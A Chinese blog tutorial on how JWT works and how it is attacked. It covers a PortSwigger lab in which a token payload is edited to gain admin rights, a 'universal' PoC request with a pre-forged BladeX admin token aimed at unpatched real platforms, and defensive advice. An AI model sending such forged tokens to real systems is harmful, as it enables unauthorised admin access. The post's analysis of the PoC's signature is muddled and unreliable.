JWT原理解析与实战通杀(附带POC)

2024-07-18 265 0

JWT的原理

什么是JWT

JWT（JSON Web Token）是一种用于在各方之间作为JSON对象安全地传输信息的开放标准。信息可以被验证和信任，因为它是经过数字签名的。JWT通常用于身份验证和信息交换。

JWT由三个部分组成，用点号（.）分隔：

  1. Header（头部）

  2. Payload（负载）

  3. Signature（签名）

这三个部分分别进行Base64Url编码后，用点号（.）连接在一起构成一个JWT。

知识补充:Base64Url和Base64

Base64Url编码是Base64编码的一种变体，专门用于URL和文件名中，以避免特殊字符带来的问题。它与标准的Base64编码的主要区别在于字符集和填充字符。

  1. 字符集不同：

    • 标准Base64编码使用字符+和/。

    • Base64Url编码使用字符-和_，以避免URL中的特殊字符问题。

  2. 去掉填充字符：

    • 标准Base64编码通常使用=作为填充字符，以确保编码后的字符串长度是4的倍数。

    • Base64Url编码则去掉了填充字符=，从而避免了URL解析中的问题。

Header

Header通常包含两个部分：签名算法和令牌类型。例如：

{
"alg": "HS256",
"typ": "JWT"
}

这个头部表示使用HMAC SHA-256算法签名，并声明这是一个JWT。

Payload

Payload是JWT的主体部分，包含声明（claims）。声明是有关实体（通常是用户）和其他数据的声明。声明分为三类：

  • Registered claims（注册声明）

  • Public claims（公共声明）

  • Private claims（私有声明）

例如：

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}

Signature

签名部分用于验证消息在传输过程中是否未被篡改。签名是用header中指定的算法生成的，包括编码后的header、编码后的payload和一个密钥。例如，对于HMAC SHA-256算法，签名如下：

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)

举例(JWT完整流程)

假设你现在有一个应用，需要用户登录后获取访问权限。

1. 用户登录

用户在登录页面输入用户名和密码，点击登录。服务器接收到登录请求并验证用户的凭证。

2. 生成JWT

如果用户的凭证(账号密码)正确，服务器将生成一个JWT。假如服务器将生成的JWT为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

让我们详细分解这个JWT的生成过程，一共三个部分，每个部分被点号（.）截断

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

JWT原理解析与实战通杀(附带POC)插图

base64url解码一下得到

{
"alg": "HS256",
"typ": "JWT"
}

这个头部表示我们将使用HMAC SHA-256算法进行签名，并且这是一个JWT。

第二部分：Payload

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

base64url解码一下得到

JWT原理解析与实战通杀(附带POC)插图1

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}

这个负载部分包含了一些声明，比如用户ID（sub）、用户名（name）和签发时间（iat）。

第三部分：Signature

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

第三部分签名的生成是由第一部分和第二部分组成的

我们使用密钥（secret）来生成签名。签名是使用以下方法生成的：

  1. 将编码后的Header和Payload用点号（.）连接在一起：

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

  2. 使用HMAC SHA-256算法和密钥secret对上述字符串进行签名：

    import hmac
    import hashlib
    import base64
    ​
    header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
    secret = "secret"
    signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    print(signature_base64)

    生成的第三部分签名是：

    SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

最后，将编码后的Header、Payload和生成的Signature用点号（.）连接在一起，形成完整的JWT：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

3. 返回JWT

服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储（Local Storage）或Cookie中。

4. 携带JWT进行请求

在用户登录后的每次请求中，客户端会在请求头中携带JWT，例如：

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

5. 服务器验证JWT

服务器接收到请求后，会验证JWT的签名是否正确。验证过程如下：

  1. 从JWT中提取出header和payload部分。

  2. 使用同样的签名密钥和header中的算法，重新生成签名。

  3. 将重新生成的签名与JWT中的签名进行比较，如果相同，则验证通过。

6. 响应请求

如果JWT有效且未过期，服务器处理请求并返回响应。

在线平台

JWT在线构造和解构的平台： https://jwt.io/

JWT原理解析与实战通杀(附带POC)插图2

JWT攻防

常见攻击方法

  1. 暴力破解签名密钥：攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比较弱，这种攻击可能会成功。

  2. 算法替换攻击：如果服务器在验证JWT时不严格检查头部的alg字段，攻击者可以将alg字段改为none，绕过签名验证。

  3. 伪造Token：如果服务器使用对称加密算法（如HS256），并且密钥泄露，攻击者可以使用密钥伪造有效的JWT。

靶场

靶场一:实验室：通过未经验证的签名绕过 JWT 身份验证 |网络安全学院 (portswigger.net)

JWT原理解析与实战通杀(附带POC)插图3

根据题目要求得知，需使用账号+密码：wiener : peter登录，后访问/admin页面，根据要求删除carlos用户即可通关。

JWT原理解析与实战通杀(附带POC)插图4

登录成功后，在bp里面看数据包，可发现JWT数据。

JWT原理解析与实战通杀(附带POC)插图5

来这里解码一下JSON Web Tokens - jwt.io

JWT原理解析与实战通杀(附带POC)插图6

发现Payload中当前登录用户为wiener。改包请求为/admin

JWT原理解析与实战通杀(附带POC)插图7

意思就是只允许administrator访问

那将JWT数据中Payload的wiener修改成administrator后继续尝试请求。

JWT原理解析与实战通杀(附带POC)插图8

JWT原理解析与实战通杀(附带POC)插图9

/admin/delele?username=colos 删除用户

JWT原理解析与实战通杀(附带POC)插图10

实战通杀(附带POC)

某智慧园区管理平台，因为还没有修复，这里就打码了。

JWT原理解析与实战通杀(附带POC)插图11

一眼顶真，用的blade的框架，

JWT原理解析与实战通杀(附带POC)插图12

poc:

GET /api/blade-user/info HTTP/1.1
Host: ***
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

分析一下这个poc

解析JWT中的Header、Payload和Signature来了解其内容和含义。一步一步来分解和解释这个JWT。

1. 分离JWT的各个部分

JWT由三部分组成：Header、Payload和Signature，这些部分通过点号（.）分隔。给定的JWT是：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

分离后得到：

  • Header：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

  • Payload：eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

  • Signature：RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

2. 解码Base64Url

使用Base64Url解码Header和Payload：

Header

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

解码后得到：

{
"alg": "HS256",
"typ": "JWT"
}

Payload

eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

解码后得到：

{
"tenant_id": "000000",
"user_name": "admin",
"real_name": "管理员",
"authorities": ["administrator"],
"client_id": "saber",
"role_name": "administrator",
"license": "powered by bladex",
"post_id": "1123598817738675201",
"user_id": "1123598821738675201",
"role_id": "1123598816738675201",
"scope": ["all"],
"nick_name": "管理员",
"oauth_id": "",
"detail": {
"type": "web"
},
"account": "admin"
}

3. 分析解码后的数据

Header部分

Header部分指定了JWT的元数据：

  • alg：签名算法，这里是HS256（HMAC SHA-256）

  • typ：令牌类型，这里是JWT

Payload部分

Payload部分包含了JWT的实际数据，包含多个字段：

  • tenant_id: "000000" - 租户ID

  • user_name: "admin" - 用户名

  • real_name: "管理员" - 真实姓名

  • authorities: ["administrator"] - 权限列表，这里是administrator

  • client_id: "saber" - 客户端ID

  • role_name: "administrator" - 角色名

  • license: "powered by bladex" - 许可证信息

  • post_id: "1123598817738675201" - 职位ID

  • user_id: "1123598821738675201" - 用户ID

  • role_id: "1123598816738675201" - 角色ID

  • scope: ["all"] - 作用域

  • nick_name: "管理员" - 昵称

  • oauth_id: "" - OAuth ID

  • detail: {"type": "web"} - 详细信息，类型为web

  • account: "admin" - 账号

Signature部分

Signature部分用于验证JWT的完整性和真实性。它是通过以下方式生成的：

  1. 将Header和Payload用点号连接起来：

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

  2. 使用HMAC SHA-256算法和一个密钥对上述字符串进行签名，生成Signature。

Signature的计算需要密钥，而给定的JWT并未提供密钥，因此不能验证这个JWT的Signature部分。

没密钥!!! 下播

防御措施

  1. 使用强密钥：确保签名密钥足够强，难以被暴力破解。

  2. 严格验证算法：在服务器端严格验证alg字段，拒绝none算法。

  3. 使用非对称加密：使用非对称加密算法（如RS256），即使公钥泄露，攻击者也无法伪造JWT。

  4. 定期更换密钥：定期更换签名密钥以增加安全性。

  5. 设置适当的过期时间：设置合理的JWT过期时间，减少被盗用的风险。

通过了解JWT的工作原理和常见的渗透手段，可以有效地加强JWT的安全性，防止信息泄露和未经授权的访问。

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